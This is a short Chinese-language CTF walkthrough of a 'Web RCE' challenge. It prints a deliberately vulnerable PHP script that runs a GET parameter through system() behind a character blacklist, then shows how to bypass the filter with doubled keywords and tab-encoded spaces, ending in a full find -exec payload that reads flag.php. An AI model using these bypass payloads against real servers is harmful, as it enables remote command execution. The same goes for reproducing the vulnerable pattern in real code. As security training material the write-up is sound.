Web RCE
源代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
}else{
show_source(__FILE__);
die();
}
$blacklist = array(';', '|', '*', '?', '.', '&', '`', '%', '(', ')', 'cat', 'ls', 'flag',' ');
foreach ($blacklist as $word) {
$cmd = str_replace($word, '', $cmd);
}
system($cmd);
?>
代码分析:
- 判断
cmd
是否为空,然后返回网页源代码 blacklist
是一个数组,里面的值,用来丢给str_replace
函数进行替换操作- 如果
cmd
里面的值在blacklist
里面,那么就会被替换为空
根据上面的分析我们可以得知,如果想要执行命令,我们需要绕过str_replace
函数
像这种替换操作,如果是字符串我们正常可以双写绕过,我们先看看可以执行哪些命令
命令执行成功,那么我们使用ls看看当前目录下有什么文件,注意ls
在blacklist
里面,所以要双写绕过一下
可以看到flag.php
了,那么接下来肯定是需要查看它里面的文件内容了
常规查看命令:cat flag.php
从上面的blacklist里面,可以得知,cat,空格,flag,“.” 都被过滤了
- cat 双写
- 空格 %09(tab)
- flag 双写
- “.” 可以使用不指定文件名就可以查看文件内容的命令
最终payload
find%09/var/www/html%09-maxdepth%091%09-type%09f%09-exec%09cacatt%09{}%09\%2b
解码后的
find /var/www/html -maxdepth 1 -type f -exec cacatt {} \+
本来这个命令是以;
结尾的,但是被禁了,所以我们可以用+
号代替(注意+
一定要编码)
得到flag